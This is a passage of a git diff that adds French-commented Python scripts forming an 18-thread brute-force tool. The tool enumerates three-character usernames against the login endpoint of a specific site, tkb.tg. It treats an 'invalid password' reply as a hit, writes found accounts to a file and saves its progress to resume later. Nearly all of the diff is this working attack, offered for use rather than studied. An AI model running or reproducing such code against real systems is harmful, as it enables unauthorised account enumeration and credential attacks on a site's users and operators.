+ user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack16(): + rec=30 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack17(): + rec=32 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack18(): + rec=34 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/crack3.py b/crack3/crack3.py new file mode 100644 index 0000000..fb5070a --- /dev/null +++ b/crack3/crack3.py @@ -0,0 +1,1165 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading +global last +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +try: + file=open("recov.ck",'r') + recov=file.read() + file.close() + last=int(recov) + print('chargement de la derniere session ...\n\n') + time.sleep(1) +except FileNotFoundError: + print("creation d'une nouvel session ... \n\n") + last=0 + time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,last,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + file2=open('recov.ck','w') + file2.write(str(z)) + file2.close() + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack3(): + rec=4 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack4(): + rec=6 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack5(): + rec=8 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack6(): + rec=10 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack7(): + rec=12 + y,z,u=0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack8(): + rec=14 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack9(): + rec=16 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack10(): + rec=18 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack11(): + rec=20 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack12(): + rec=22 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack13(): + rec=24 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack14(): + rec=26 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack15(): + rec=28 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack16(): + rec=30 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack17(): + rec=32 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack18(): + rec=34 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/imp.py b/crack3/imp.py new file mode 100644 index 0000000..176f846 --- /dev/null +++ b/crack3/imp.py @@ -0,0 +1 @@ +import mod2 diff --git a/crack3/login.py b/crack3/login.py new file mode 100644 index 0000000..88c47b1 --- /dev/null +++ b/crack3/login.py @@ -0,0 +1,216 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie login ...\n\n") +global lettre +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write(user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") 